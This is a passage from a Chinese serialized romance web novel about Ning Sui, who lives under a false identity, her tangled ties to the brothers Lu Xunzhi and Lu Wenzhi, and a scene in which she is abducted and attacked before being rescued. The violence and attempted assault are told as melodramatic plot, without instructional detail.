要不是唐佳笑一再叮嘱一定要见这个沈煜,王习是不想见的。 现在看到这个人怪怪的,他脸色也沉了沉,“沈小姐,你要是不说话,那我就告辞了。” 就在这时,王习的手机响起,宁穗扫了一眼,是乔若钰。 看着王习要起身,宁穗情急之下,拉住对方的衣袖。 王习随即像是条件反射一样,猛地扯回自己的袖子,脸色严肃得很,“自重。” 宁穗轻轻叹了一口气,随即摘下了面巾。 她看到王习的表情从烦躁到僵硬,再到雀跃,眼底甚至闪烁着点点泪花。 他揉了揉眼睛,不可置信,嘴巴一张一合都没能说出一个字。 什么东西堵在他的喉咙,让他有些无措,好半天,他才说:“穗穗?” 宁穗姣好的面容袒露出来,弯唇点头,乖巧地叫了一声,“师兄。” 下一秒,王习的身影迎上来,下一刻她便落入一个温暖的怀抱。 “为什么不联系我啊?”王习声音带了几分哽咽,“你知道我……我和师父多难受吗?” 听唐佳笑说,王习这些年一直在想办法找宁穗。 只要一有出国的机会,他就会去参加活动,这么不爱交际的人,也到处结识人,然后就将宁穗的照片给他们。 这些年,他一边壮大自己的势力,一边在借着势力,来增强寻找宁穗的力量。 到最后,他也不知道,自己是想做事业,还是为了找宁穗。 五年,他找遍了大江南北。 可还是一无所获。 宁穗眼眶有些热,微微仰着头,“对不起,师兄。” 除了道歉,她不知道还能说什么。 说自己差点就死掉了,要不是陆闻之救了她,她可能就葬身火海,更别提能找到合适的骨髓移植。 还有宁安静,知道她出事后,去国外找她,结果被喝醉酒的乔深撞成植物人。 过去的日子就像是苦胆,真的不能再吃一口。 两人就这样安静了抱了十几秒,王习松开她,吸了吸鼻子,高兴得像个孩子,“那你现在是回来了吗?” 宁穗没有第一时间说话,王习突然想到什么,脸上冒出诧异的表情,“沈瑜……笑笑跟我说,是沈瑜要见我。你现在叫沈瑜?为什么?” 为什么不能叫回自己的名字。 王习倏地反应过来,“你是在多陆勋之?” 宁穗现在没办法解释那么多,她拉着王习坐下,郑重地说:“师兄,有些事,你不知道对你好。就连笑笑,也不知道。不过当下,我有件事要请你帮忙。” …… 陆勋之进到包厢的时候,陈耀东已经在跟客户聊了。 事情已经聊得差不多,他出现与否影响不大,但他就是不想回御城,才什么场合都出现以下,假装自己很忙。 陈耀东见他兴趣恹恹的,“要不叫几个女人过来陪你喝酒唱歌?” 陆勋之嗤笑一声,“滚蛋。” 陈耀东痞痞地笑了笑,“哥,高兴点,你马上就能拿回陆家的大权了。” 高兴吗? 好像应该高兴。 可他怎么都高兴不起来。 陆勋之垂着眸子,不知道在想什么,片刻后,他问陈耀东,“你跟这家会所老板很熟?” 陈耀东点头,“熟啊。” “帮我调个监控。”陆勋之说。 …… 宁穗跟王习没聊太久,不想惹人生疑。 所以才选的这个会所,这里进出都是谈大生意的人,重视的是隐私。 出来后,王习想送宁穗,但宁穗拒绝。 她到地库去找自己的车。 刚走出电梯。 嘭! 一双大灯突然亮起,正冲着她,照得她眼睛都睁不开,本能抬手挡在眼前。 对方似是故意的,照了她几秒钟,才将灯关掉。 宁穗适应了一会儿,在手缝里看,熟悉的车牌号,还有挡风玻璃后黑沉沉的俊脸。 陆勋之探出手,勾了勾手指,示意她过去。 但宁穗脚下就跟生了根一样。 她缓了两秒钟,转身想逃,可她刚迈出去半步。 身后便传来发动机的轰鸣声。 前几天,在商场车库,陆勋之开车差点撞到她的那幕,骤然出现在眼前。 宁穗没再动,她怕陆勋之真的撞死她。 “还不上车,等我去抱你吗?”陆勋之的声音幽幽在空旷的空间里回荡。 暗昧又瘆人。 宁穗抿唇,硬着头皮走过去,但也没傻到真的上车。 就站在车门前,“有事吗?大哥。” 这一声大哥,让陆勋之一愣,怔怔抬头看她。 看不到她的表情,但是她双手交叠放在身前拿着包,一本正经叫人的样子,真的是好让人心梗。 陆勋之对这个称呼很不满意,连带着语气都跟着差了不少,“你为什么在这?” 宁穗翻了个大白眼,她想去哪儿就去哪儿,你管得着吗? 但她没敢说,只恭恭敬敬回答,“谈事。” “跟谁?谈什么?”陆勋之追问。 宁穗气笑了,“不方便告诉你。” 陆勋之掀起眼皮看向她,明明宁穗站着他坐着,可他上位者的威压,却丝毫没有减少,甚至增加。 黑沉沉的目光压在宁穗身上,她听到陆勋之问,“是吗?那你说说看,你跟王习为什么认识,还有,你们有什么好谈的?” 第182章 你倒是真在乎她 宁穗愣住,没想到陆勋之竟然知道了。 可这家会所明明最注重保护客人的隐私。 现在不是纠结这个时候,宁穗心跳声鼓胀在耳边,但她面上不显。 很淡定地回答,“是闻之让我来找他谈事的。” 陆勋之沉默地看着她,不置可否,一眨不眨。 要不是有面巾遮着,宁穗觉得自己快要被他看穿了。 片刻后,陆勋之突然点击了车载通话,下一秒,陆闻之的名字闪烁在屏幕上。 宁穗的心提到了嗓子眼。 这个挨千刀的,居然真的给陆闻之打电话。 响了两声,那头接通,随即传来陆闻之温和的声音,“哥?” 陆勋之眼睛盯着宁穗,“我碰到你女朋友了。在海城。” 宁穗视线紧紧攫住屏幕上的名字,手掌心都冒出汗。 陆闻之顿了一秒,轻笑,“是啊,我知道。” 陆勋之无声冷笑,“那她来会所见了一个男人,你知道吗?” 宁穗拧眉,愤怒地看向陆勋之,这人说话怎么这么损。 故意把事情形容得这么龌龊。 那头陆闻之声音也严肃了几分,“哥,你答应过我,不会再欺负她。她胆子小,你这样会吓到她。” 陆勋之哼笑,“是吗?没看出来。” 陆闻之轻叹一声,“她是去见王习了吧?我知道,是我让她去的。年后我打算给沈瑜开一个画廊,她想做中西结合的主题,我就帮她约了王习。” “王习是什么身份,你是不知道吗?”陆勋之脸色沉下来,“找谁不行,非要找他?” 陆闻之却不以为然,“上一代的事,跟我们有什么关系。现在王习在国内就是最顶尖的内画师,只要他能给小瑜带来好处,我觉得别的都可以往后放。” “你倒是真在乎她。”陆勋之看着宁穗说的这句话,一时之间,宁穗不知道他这句话,是在回应陆闻之,还是在质问她。 “知道了,挂了。”陆勋之顾自挂断了电话,又深深看了宁穗一眼,“上车。” 宁穗抗拒地往后退了半步,“我开车了。” 这个举动激怒了陆勋之,男人脸色黑下来,“我让你上车。” “勋哥。”陈耀东混不吝的声音传过来,宁穗余光瞥了一眼,低下头。 陈耀东懒散地扫了宁穗一眼,似是并不在意这个人,弯腰,手随意撑在车门框上,状似无意地挡住宁穗。 笑着问陆勋之,“你不是说要走吗?” 陆勋之冷淡地收回视线,“等个人。” 陈耀东挑眉,回头看向身后的宁穗,似是才注意到这个人似的,“这不是闻之哥的人?” 陆勋之倏地看向他,“你怎么知道?” 陈耀东耸了耸肩,不甚在意地说:“上次去医院看你,碰到过,唐桓说的。” 说完,他又看向宁穗,“小嫂子,去哪儿?送你吗?” 他语气调侃,没个正行。 宁穗抿唇,“我自己开车了。” “哦,那你自己开吧。”说着,陈耀东拉开后座的车门,上车,“走吧,哥,我还要带你去个地方看看。” 陈耀东插科打诨一闹,陆勋之也不好再叫宁穗,他淡淡瞥了一眼她,动作非常粗鲁地启动车子,骂了一句,“我是你司机吗?” 车子疾驰而出,风带起宁穗的发丝。 她狠狠松了一口气。 看着车子远走,宁穗这回确认,陈耀东,是真的想帮她。 陆勋之看着后视镜的女人,定在原地,看不清是不是在看着他离开的方向。 他心里有种不舒服的感觉,不上不下的。 “哥,你怎么了?跟小嫂子不对付吗?”陈耀东扒住副驾驶的车座,跟陆勋之打趣道,“你得习惯,那马上就是闻哥的老婆。” 这句话让陆勋之心里那种不舒服的感觉无限放大。 他单手撑着额头,淡淡地问,“你觉得她像宁穗吗?” 陈耀东脸上的笑容僵硬了一瞬,但马上调整好,“哥,你魔怔了?她怎么可能是?” 陆勋之自嘲的笑笑,理智告诉他,那不可能是宁穗。 宁穗知道他当时被陆凛之威胁,差点没了命。 宁穗心软。 就算是对他没感情了,也不会见面之后,这么无动于衷。 “我觉得很像。”陆勋之似是在自言自语。 陈耀东缓缓靠回座椅上,冷不丁笑了一声,“哥,你要实在心里别扭,就干脆掀开她面罩看看啊。是不是,不就有结果了?” 他说这话的时候,目光死死盯着陆勋之。 对方没说话。 陆勋之想过,可是他心里隐隐有种侥幸。 如果不看到她的脸,是不是就可以一直幻想那是宁穗? 一旦解开面纱,所有的一切都化为泡影。 他的希望幻灭。 那才是最致命的。 许久,陆勋之声音哑得不成样子,“算了。” 陈耀东垂下眸子,不动声色地拿出手机,发了一条信息出去,【他对你生疑了,自己小心。】 宁穗坐在自己车上,看到陈耀东发来的信息,然后点击了删除。 她知道瞒不住陆勋之,也许很快就会揭穿。 她只能赌一把。 左右不过这十几天了。 等年后订婚一过,她就是陆闻之的未婚妻。 手机响起,陆闻之的电话打过来。 “我哥走了?”陆闻之说,“抱歉啊,乖乖,我找人跟着你来着,我是怕你会出什么事。” 宁穗并不意外。 刚才他能跟陆勋之直接说出她见了谁,显然是早就收到消息。 宁穗,“没事,是我不好,该提前跟你打招呼。” 两人同时沉默下来。 这样的对话,出现在两人之间,已经很不对劲。 信任的天平正在坍塌。 “所以你找王习是?”陆闻之问,好像只是单纯地想知道而已。 宁穗没瞒着,“乔若钰要找他合作,我跟师兄说,不要合作。你会反对吗?” 陆闻之沉默了两秒,“乖乖,我一直都站在你这边的。你是知道的。” “是吗?”宁穗却说,“可那天我听到你跟乔若钰打电话,你们达成了什么协议?” 陆闻之这次几乎没有犹豫,“乔若钰也想逃离乔家,利用她为我们所用,不是很好吗?” “那你现在是劝我,让王习跟她合作吗?”宁穗的声音冷下来。 第183章 我也是你们play的一环吗 陆闻之却笑了,温和得不成样子,“不会,你做得很好。确实不应该让王习跟乔家合作。乖 乖,你跟我想到一起去了。” 宁穗愣了愣,陆闻之并没解释太多,而是转了话题,“悠悠明天就回来了,我们一起去接,好不好?” 提到悠悠,宁穗的脸色终于软了一些,“嗯,她会跟我们一起过年吧?” “当然了。”陆闻之温柔的声音回荡在耳边,“乖乖,我们一家人,一直在一起,好不好?” 宁穗抿唇,并没第一时间回答。 陆闻之拿出手机,找出一段音频信息,播放给宁穗听。 悠悠甜甜的声音传出来,“妈咪,爸比,我好想你们啊!我已经上飞机了,你们要来接我哦!嘿嘿。” 宁穗眼底坚硬的光瞬间软了下来,“我给悠悠准备了礼物。到时候可以拿上。” 陆闻之笑了,“好,乖乖,你现在回来吗?我让人给你当司机。” 宁穗眼神一顿,眼底闪过一丝冷淡,但还是乖乖说:“嗯,好。” 傍晚时分的时候,宁穗回到了馨园别院。 陆闻之没在家,佣人跟她说,是去公司了,说晚上会晚点回来。 宁穗点头没说话,她有些累。 只要遇见陆勋之,她浑身的细胞都跟着紧张,耗费了很多能量。 洗了澡,宁穗连晚饭都没吃,直接睡下了。 后来陆闻之有没有回来,宁穗并不知道。 她再醒来的时候,天已经蒙蒙亮。 她到楼下的时候,没看到任何人。 因为她的模样不能被任何人看到,陆闻之会让佣人做完三餐都不许出现在主楼这边。 就算是打扫也要等宁穗不在的时候。 宁穗倒了一杯清水喝,大概是昨晚睡得太早,今早精神很足。 她换上运动衫,到院子里跑步。 刚跑了两圈,一辆车开进来,宁穗看了一眼,是陆闻之的车。 这么早,是刚回来,还是出去了一下又返回? 宁穗扯了下美利奴防风围巾,遮住自己半张脸,又拉低了帽子才上前。 陆闻之出门一般都带着司机,她不想让司机看到自己的样子。 宁穗走向前,后车窗的玻璃没落下来。 她纳闷,又走到司机那边,很轻地敲了敲车窗。 对方慢了两秒,才缓缓落下车窗。 “陆——”宁穗在看到对方的脸的一瞬间,整个人愣住。 陆勋之眼睛半眯着,目光没怎么聚焦,看上去像是刚睡醒。 宁穗赶紧低了下头,用帽檐挡住自己的脸。 陆勋之搓了搓脸,声音沙哑地对她说:“你怎么在这?” 宁穗不太自然的,又拉了拉帽檐,没好气地说:“这话该我问你。” 陆勋之动作顿了顿,抬眼看了她一眼,一看就是在运动,他愣了愣。 有一段时间,宁穗也特别喜欢在院子里锻炼。 要不是对方挡着脸,陆勋之又有一丝恍惚,眼前就是他魂牵梦绕的宁穗。 他下意识地伸手去拉对方的手腕,对方防备地躲开。 手悬在半空。 陆勋之衬衫袖子挽上来,皮肤接触到清晨的空气。 空气中的冷意,瞬间让陆勋之清醒了几分。 他看了看空荡荡的手,悻悻收回来,扭过头看向前方,不再看宁穗。 声音很冷淡,“闻之让我来接你。” 宁穗愣了愣,今天是要去接悠悠,陆闻之居然让陆勋之来。 陆勋之很快地瞥了她一眼,声音很讽刺,“我也想知道,为什么让我来接你。” 一边说让他远离,一边又给他机会接近。 “怎么,我也是你们py的一环吗?”陆勋之冷笑。 宁穗抿唇,没理会他的嘲讽,“我上楼去换衣服。十分钟后就下来,如果你等不及的话,也可以先走。” 丢下这句话,宁穗转身回了房子里。 陆勋之这才转脸看过来,女人穿了紧身的运动衣,尺腰尽显。 他烦躁地扯了扯领带。 十分钟后,宁穗回来,直接坐上了后座。 陆勋之在后视镜里看了她一眼,又戴上了面巾。 跟刚才运动衫的样子完全不同,好像被禁锢在什么之下。 陆勋之的脸色不太好,但也没说什么。 两人一路上无话,车子一路开到机场,车子停好后,陆勋之直接下车,也没理宁穗。 宁穗慢半拍下车,跟他一前一后走着。 陆勋之的步子很大,宁穗很快被落在后边。 大概是赶上年根下,很多人返乡或旅游。 人群一下子多起来,宁穗被挤在了人群之中。 怎么都走不动。 突然手腕上一紧,宁穗被拉了出去。 宁穗猛地抬头,看到陆勋之的后脑勺,满满的不高兴。 “私人飞机的出口在那边!”陆勋之声音也冷冷的,可他的掌心滚烫,没有松开她。 宁穗挣了挣,陆勋之顿了一下,还是放开。 走向私人机场的候机厅,人明显少了一些。 宁穗找了一处座位坐下,给陆闻之发信息,他还是没回。 宁穗不知道他又在搞什么,现在她跟陆勋之在一个空间里,就觉得不自在。 余光瞥见男人就坐在不远处,明明离着好几米,可那人的存在感就是很强。 宁穗收起手机,闭上了眼睛。 大概是紧张了一路,这会儿宁穗真有点困了。 闭上眼睛没一会儿就睡着了。 梦里乱七八糟。 最后定格在陆勋之身上的疤痕。 那些触目惊心的针脚,让她后背生寒,她猛地醒过来。 眼前是一张放大的俊脸,宁穗愣住。 陆勋之双手抄兜弯身看着她,看到她醒来,也被她吓了一跳,眉心皱了皱,“做噩梦了?梦见什么?” 宁穗不自然地坐直了一些,低头看了看身上的男士西装,愣了愣,将西装还给他,“没什么?飞机到了吗?” “嗯。”陆勋之站直,懒散地摆了一下头,“就是来叫你的。” 说完,他迈开步子要走。 看到宁穗没动。 陆勋之又问,“怎么了?” 宁穗揉了揉腿,“麻了。” 男人啧了一声,弯身,拉住她的胳膊,力气奇大,将人拎了起来。 “我自己能走。”宁穗不满意,但又挣脱不开他的桎梏。 陆勋之垂眸睨了她一眼,“飞机都到了,等你?挪到天黑也走不到。不是说今天要接很重要的人吗?” 宁穗顿了顿,陆闻之没跟他说接谁吗? 陆勋之掐着宁穗的胳膊,将人带着走,宁穗不得不借助他的力量,但又抗拒地跟他拉开了一些距离。 两人最后以这样的怪异的姿势走到了接机口。 刚走到,一个小小的身影跑出来,突然冲进了宁穗的怀里,“妈妈!” 陆勋之的手,骤然松开。 第184章 陆勋之,没有机会了 陆勋之震惊到嘴巴微微张开,看着宁穗将一个几岁大的小女孩抱在怀里,两人亲密得很。 “哥,谢谢,你送小瑜过来。”陆闻之跟在后边,慢一步过来。 悠悠转头看向陆闻之,脆生生地喊,“爸爸!” 陆勋之瞳孔震了震,视线在一家三口身上来回逡巡,嘴角抿成了直线。 三个人的亲密看在眼中,是他完全不可能参与的幸福。 陆勋之冷不丁笑了一声,转身离开。 宁穗余光瞥见他的身影,但没什么反应,倒是悠悠发现了端倪,“妈妈,那个叔叔是谁啊?好像不高兴了啊。” “是你大伯。没事,他天生脸臭。”宁穗拉起悠悠,“走吧,饿不饿,想吃什么?” “我想吃香蕉船!”悠悠脱口而出。 “不行。”宁穗直接否定,“不能吃冰激凌,忘记上次拉肚子了?” 母女俩说说笑笑,宁穗没理陆闻之。 陆闻之跟上来,“我手机没电了。” 这个理由挺敷衍的,宁穗点头嗯了一声,并没有过多回应。 宁穗带悠悠去附近的餐厅吃饭,陆闻之没跟着而是去了停车场。 陆勋之靠在车前,好像在等他似的,抬眼看向他。 “你故意的。”陆勋之冷声说,随即哼笑一声,“至于吗?占有欲这么强?你害怕啊。” 陆闻之还是温和地笑,没理会陆勋之的挑衅,“悠悠是我和小瑜的孩子,今年五岁。我们肯定是要结婚的。所以,哥,今天谢谢你送小瑜过来。” 句句都是劝他退出。 陆勋之的脸色黑了下来,他也不知道自己在这等什么。 那个女人根本不在乎他高不高兴,陆闻之也是故意给他难堪。 他想,这两个人,还真是天生一对。 陆勋之猛地拉开车门,扬长而去,发动机轰得震天响。 …… 宁穗再次见到陆勋之是在年夜饭的时候。 他看上去比前两天更憔悴了几分,气质更清冷。 悠悠见到他有些害怕,但还是怯生生地叫了一声大伯。 陆勋之愣了愣,抬手轻轻摸了摸她的发顶,从口袋里掏出一个小盒子,送给了她。 悠悠看向宁穗,询问宁穗的意思,宁穗笑着摸摸她的头,点了点下巴。 她高高兴兴地接过礼物盒,笑成花一样,“谢谢大伯。” 孩子就是单纯,只要有一个小礼物,就会很开心。 悠悠的笑容感染了陆勋之,他脸色好了一点。 吃饭的时候,陆老太太很高兴,尤其是悠悠一口一个太奶奶,给老太太叫得找不到北。 “对了,悠悠大名叫什么?户口在哪儿,要不要落回来。”大概也是岁数大了,陆老爷子也喜欢儿孙绕膝,看到悠悠,也明显温柔了不少。 陆勋之余光瞥向宁穗,她微微低着头,没说话。 陆闻之,“爷爷,她大名叫陆念悠。” 陆勋之一愣,怔怔看向陆闻之,目光又转而落在宁穗身上。 陆念悠。 他清楚记得,宁穗给他们的孩子,取名字叫念恩。 念恩,念悠。 他心里有些不舒服,像是被一根针扎了几千下。 他的手颤抖着蜷缩起来。 明明没什么关系的两个名字,可他就是喘不上气。 蹭的一声,他起身,椅子在地板上,拖出刺耳的声音。 陆老爷子想骂人,又顾及到孩子,看着陆勋之走开,他拧着眉也就没说什么。 宁穗眼皮都没抬一下。 饭后悠悠想放烟花,宁穗跟着佣人去找,也是想出去透透气。 走到露台的时候,发现有个身影,在昏暗的灯光下,显得十分寂寥。 他旁边的烟灰缸里已经积了十多个烟头。 烟雾缭绕团住他,仿佛他跟这个世界格格不入,孤单像个影子。 宁穗看了两秒,转身要走,身后传来男人的声音,被烟擦得沙哑,有几分苦涩,“站住。” 宁穗本想装作听不见离开。 但是男人的声音很寂寥。 仿佛全世界都抛弃了他一眼,她的脚怎么都挪不动。 空气一下子静下来。 陆勋之将手中的烟捻灭。 他已经好几年都没抽过了。 可他刚才听到陆念悠的名字,整个人快要爆掉了。 他真的想把这个世界都毁掉。 他微微转头余光瞥着宁穗的背影,胸口闷得快要喘不上气,“你和陆闻之在一起多久了?” 好像从来没有讨论过这个话题。 陆勋之也不知道为什么,就想问一下,好像在求证什么。 宁穗很冷淡,“孩子都五岁多了,你说在一起多久。” 陆勋之扯唇苦笑,也不知道自己为什么要问这么愚蠢的问题。 可他还是忍不住说:“他之前跟别的女人生过一个孩子,那孩子呢?” 看上去是询问,实则是在告状。 宁穗沉默了两秒,“那是他的事,你应该去问他。” 说完,宁穗迈开步子离开。 宁穗走后,露台上显得更加寂寥,甚至比刚才还要寂寥。 陆勋之觉得自己真是疯了。 念这个字,又不是多么生僻,只不过是碰巧一样的名字而已。 就算这个孩子真是宋姜生的,宁穗怎么可能会帮宋姜养孩子。 如果孩子不是宋姜的,那就是她跟陆闻之生的,无论她是不是宁穗。 陆勋之,都没有机会了。 …… 这个年,因为悠悠在,宁穗过得很开心。 这是她在回国之后,第一次真心的开心。 好像日子又回到她手术成功之后,她慢慢恢复的那段日子。 生活里只有陆闻之和陆念悠。 他们三个真的像普通的一家三口一样幸福。 直到宁安静出了车祸。 被乔深撞成了植物人。 可是宁穗也没想到,即便乔深不知道她的身份,也没打算放过她。 年后宁穗带着悠悠去跟唐佳笑见面,约了她跟她的儿子一起玩。 唐佳笑的儿子是个小花痴,见到悠悠就走不动路,一直跟在她身后,姐姐长,姐姐短。 给唐佳笑逗乐了。 两人带着孩子们去商场吃饭,吃过后,两个孩子在游乐园里玩。 宁穗和唐佳笑一边聊天一边分神出来看着孩子们。 宁穗中间去洗手间,出来的时候,就碰到两个西装男,看上去来者不善。 “沈小姐,乔爷请你去一趟。”其中一个人说,“乔爷说了,您要是不去,我们就请小小姐过去。” 这是用孩子威胁她。 宁穗冷声说:“陆家的孩子你们也敢动,真的是活够了。” 可两个保镖对视一眼,根本没给宁穗呼救的机会,直接将人带走了。 第185章 你算哪条狗? 宁穗被带到了一家私人会所。 Vip包厢里,就坐着乔深一个人,看上去也喝了不少,眼睛都是红的。 看到宁穗的时候,嫌弃地扯唇,冷笑道,“你还真难请。” 宁穗很冷淡,“你突然把我带走,出了事,陆闻之不会放过你。” “你什么身份,就算出了事,你觉得陆家会为你出头?你又不是陈家的女儿,真是好笑。” 乔深起身,手指尖夹着烟,抬手要去摸宁穗的面巾,被她无情拍开。 烟灰撒在地板上,乔深一愣,看着自己被打红的手腕,反手给了她一巴掌。 宁穗的面巾被扯下,人趔趄了两步撞到墙边。 房间里的光线很柔和,落在宁穗有些发红的脸上,特别诱人。 乔深的眼神明显变了变,气笑了,“长这么好看,为什么不敢见人?” 他拖着调子哦了一声,“陆闻之是觉得自己是个废人,生怕别人盯上你,他没能力留住你吧?” 越说越觉得自己说得有道理,乔深诡异的笑声在房间里回荡。 宁穗站直了身子,冷冷看着他,趁他笑的空档,拿起一杯酒泼在他脸上。 浓烈辛辣的酒,蛰到乔深的眼睛睁不开。 下一秒,宁穗在桌角撞碎了杯子,直冲着乔深脖子过去。 滚烫的液体溅到宁穗脸上,她脸色都没变。 脑海里是宁安静枯瘦的样子,盖在被子下,轻飘飘的,看不出重量。 还有那个孤单单的墓碑。 她的生母。 恨意涌上来,宁穗收回手,还想再来一下,乔深肾上腺素飙升,突然就发了狠,一把推开了宁穗。 跌跌撞撞冲出了包厢,将门带上。 门口的助理看到乔深白衬衣都几乎成了红色。 一只手捂着脖子,另一只手死命拉着包厢的门把手,手指节都没了血色。 好像里面关着一只猛兽,要把他撕碎。 “小乔总,怎么了?”助理吓坏了,下意识地上前帮忙,拉着门把手。 乔深脸色白,眼底却红得很,疯了一样嚎叫,“叫几个人来,给我玩死她!” 助理想劝,乔深根本听不进去,门内又传来砰砰的敲门声,场面一下子混乱到极限。 乔深到隔壁,叫了几个醉鬼,直接破门而入,随即里面传来女人的尖叫声。 这声音让乔深精神亢奋,一口恶气,有了出处。 随便扯了一条毛巾压在脖子上,都没去处理伤口,就像看着宁穗被碾成粉末才罢休。 助理还是理智尚存,在一旁见缝插针地劝,“小乔总,那可是陆家的人。” “陆家人又怎么样?等她废了,正好让乔若钰嫁过去,到时候我也是陆家人!”乔深已经被宁穗气疯了,口无遮拦。 “你算哪条狗?我陆家可不养。”男人阴涔涔的声音砸下来。 乔深一愣,僵硬回头,正撞上陆勋之阴鸷的视线,他讪笑一声,眼底透着冷意,“妹夫,我妹妹也跟你这么久了,你说这话,是不是太不给乔家面子?” 陆勋之像是听到什么天大的笑话,懒散矜贵地扯了唇角,“乔家是哪家?” 乔深的笑意缓缓收敛起来,浑身透着冷意,可他一身的红色,又像个落水狗,毫无气势。 被陆勋之的气势完全压下去。 陆勋之鄙夷地上下打量他几眼,嫌恶地挪开视线,看向包厢门,不甚在意,像是随口一问,“里面是谁?都把你打成破落户了。” 这话实在是讽刺人,一点都没给乔深留面子。 但乔深后背一僵,这会儿也顾不上面子。 他要是毁了里面的女人,最多就是以乔家出面道歉,最后将乔若钰赔给陆闻之就好了。 反正陆闻之在陆家就是个吉祥物,不像陆凛之和陆勋之这么有权。 再说,一个名不见经传的女人,哪里比得上乔家的女儿,何况乔若钰自己也是拿过世界冠军,有金牌傍身。 怕陆家真追究起来,他刚才放进去的,都是在御城有点头脸的二代三代,虽然是纨绔子弟,但家也是捧着宠着的。 到最后,大家只会为了共同的利益,不了了之。 要怪就怪陆闻之,自己没能力,还找个漂亮女人当老婆。 可是现在事都没办完,就让陆勋之撞上,那可就是另外的故事了。 乔深不动声色地挡住了房门,笑着说:“一个不听话的公主,正在教。” 陆勋之的视线落在他身上,乔深后背起了一层冷意。 但还是硬着头皮迎上陆勋之的目光。 陆勋之很轻地笑了一声,不置可否,让乔深的心跳加速了两倍。 “勋之哥?”一身鹅黄色毛衣裙的女子过来,一阵暖意,瞬间融化了两人的剑拔弩张。 陈瑶满眼都是陆勋之,完全没注意到一旁狼狈的乔深,露出了贪婪又嫉妒的眼神。 “你怎么还不回去啊?我都等你半天了。”陈瑶嗔怪,像个小女孩一样,脸颊红红的。 自从陆勋之出差之后,她就没见过陆勋之。 都不知道他什么时候回来的。 打电话从来不接。 信息也几乎不回。 今天她好不容易借着父亲的名义,把陆勋之叫出来。 她还特意叫了自己的好朋友和同学们,想正式介绍一下陆勋之。 结果他在包厢里坐了没两分钟,就说出来打电话。 陈瑶找了一圈都没找到他,却在这看到他。 打电话需要跑这么远吗? 分明是躲着她。 陈瑶挽住陆勋之的胳膊,“你答应我爸,今天跟我出来,能不能专心点啊?” 她仗着人多,陆勋之不会下她的面子,想要绑架陆勋之。 今天她可不能丢面子,陆勋之必须跟她回去,不然以后自己在朋友面前真抬不起头来了。 陈家最受宠的女儿,居然是舔狗? 那可不行。 她说完一直观察陆勋之,生怕他生气,但他视线一直盯着某处,好像没听到她说话似的。 她这才顺着他的视线看过去,看到乔深一身的血渍,吓得捂住了嘴,还往陆勋之的身后躲了躲。 乔深扯唇笑笑,“妹夫,你还不赶紧带你娇滴滴未婚妻离开啊,小兔子似的,别真吓到了。” 这话说得暧昧又越界。 陈瑶不满意地抿了抿唇,扯了扯陆勋之的衣服袖子,低声说:“我们走吧。” 陆勋之余光扫了一眼陈瑶,随即看向一直在旁边安安静静低着头的助理,“你刚才说什么,里面的人是陆家人?” 第186章 陆勋之看到宁穗的脸 乔深一愣,没想到陆勋之听到这么多,还不等他接话,陆勋之一把扯住助理的领子,猛地将人按在墙上。 一双桃花眼,却冷得能淬出冰,“你最好说实话。” 助理吓得脸色瞬间纸白,说话都磕磕巴巴的,“这个女人以前……以前跟着陆凛之陆三少爷,受宠过一段时间,她就当自己是陆家人了。我家小乔总是不想跟陆家起争执,但也不能为了一个这样的女人受……受冤枉气啊!” 乔深的心咕咚一声落回肚子里,还好助理反应快。 见陆勋之的脸色缓和了一些,乔深赶紧上前,假模假式的生气道,“就一个这种女人,你也想护着吗?” 说话时候余光观察着陈瑶的表情,果然她脸色也黑下来。 陈瑶这样的年轻女儿涉世不深,又是千金宠儿,哪里受得了自己的男人为风尘女子出气。 她上前拉陆勋之,“走吧,勋之哥,我朋友还等着我们呢。” 这一回陆勋之就着她的力气,松开了助理,又扫了一眼房门,才转身要走。 可就在他刚迈出去一两步的时候,房门突然从内打开。 随即女人哭嚎的声音传出来,刺耳又可怖。 不用看也知道里面的场景不堪入目。 随即一个男人冲出来,上半身光着,被玻璃碴子刺得伤痕累累,一脸苦相地抓住乔深,“深哥,那娘们太吓人了,不要命啊!” 这些公子哥又不是真的穷凶极恶之徒,平时在会所里被女人乡捧惯了,哪里受过这种气。 他们也就是图个乐子,可不敢真闹出人命。 他话音未落,一个高大的身影突然冲了进去。 随即传来拳拳到肉的声音。 乔深心想完了,转身就跑。 陈瑶愣了愣,下意识地上前去看,里面一个女人蓬头垢面,衣衫褴褛躲在角落,手里还抓着玻璃瓶的残骸,壮烈又决绝。 陆勋之按着一个男人正在打,那架势,是真的想要对方的命。 陈瑶吓得声音都发不出来,钉在原地。 扑通! 角落里的女人突然倒地不醒,头砸在地板上,发出可怖的声音。 陆勋之悬在空中的拳头顿住,忽地转头看过去,眼底的戾气,瞬间敛起,箭步冲上去,脱下自己的西装将人裹住,打横抱起。 看着自己的未婚夫抱着别的女人离开。 陈瑶心底的嫉妒快要凝成实质,在陆勋之路过她身边的时候,她一把拉住对方,“勋之哥!我朋友还等着我们呢!我给她叫个救护车就行了啊!你为什么还抱着她?” 陈瑶觉得路见不平,她能帮忙叫个车已经不错了。 怎么可能忍受陆勋之抱着这个女人离开。 男人的力气很大,根本没停留,陈瑶被他走开的惯性带了一个趔趄。 对方根本没理她的话头,快步离开。 陈瑶追了几步,今天她穿了特别漂亮的细跟高跟鞋,跑了两步就崴了脚。 她很大声的啊了一声,陆勋之却连半秒停顿都没有,好像他手里抱着的是他珍贵的宝贝一样。 陈瑶摔倒在地,狼狈至极,看着陆勋之离开的身影,眼泪不听使唤地冒出来。 偏在这个时候,陈瑶包厢里的人,也跟了出来,看到陈瑶摔倒地上,还看到陆勋之抱着别的女人离开,躲在角落拍下了这一幕。 很快,陈瑶的手机噼里啪啦地开始震动,她吸着鼻子打开来看,是同学群里。 一张照片正好拍下她的狼狈和陆勋之的决绝。 偏偏他怀里的女人被西装挡着看不到脸,只露出一双笔直纤细的小腿,足以让人遐想。 陈瑶今天特意还叫了上学时候霸凌过她的同学,想在对方面前,显摆下陆勋之。 结果,她成了今天最大的笑话。 …… “身上没受伤,检查过妇科,也没事。就是手上的伤有点重,玻璃碎渣割伤了皮肤和筋,还好送医及时。接下来好好休养,问题不大。” 医生交代完,便离开了病房。 只剩下陆勋之一个人。 病房里只开了一盏很暗的灯。 陆勋之站在床尾,垂着眸子看着床上躺着的人。 刚才他抱她过来的时候,她脸上都是血渍。 这会儿清理干净了,略微有些苍白的脸露出来,十分清晰。 垂在身侧的手缓缓蜷起,又颤抖着伸开。 …… 陆闻之的手机一直震动,他头疼地捏了捏眉心,满脸的戾气,没有接,看向助理,“人找到了吗?” 助理抿唇摇头。 晚上唐佳笑带着悠悠找到他的时候,说宁穗不见了。 陆闻之立刻派人去找。 三个小时过去了,到现在还没有消息。 陆闻之的手机再次震动,陈斌的名字第二十次出现。 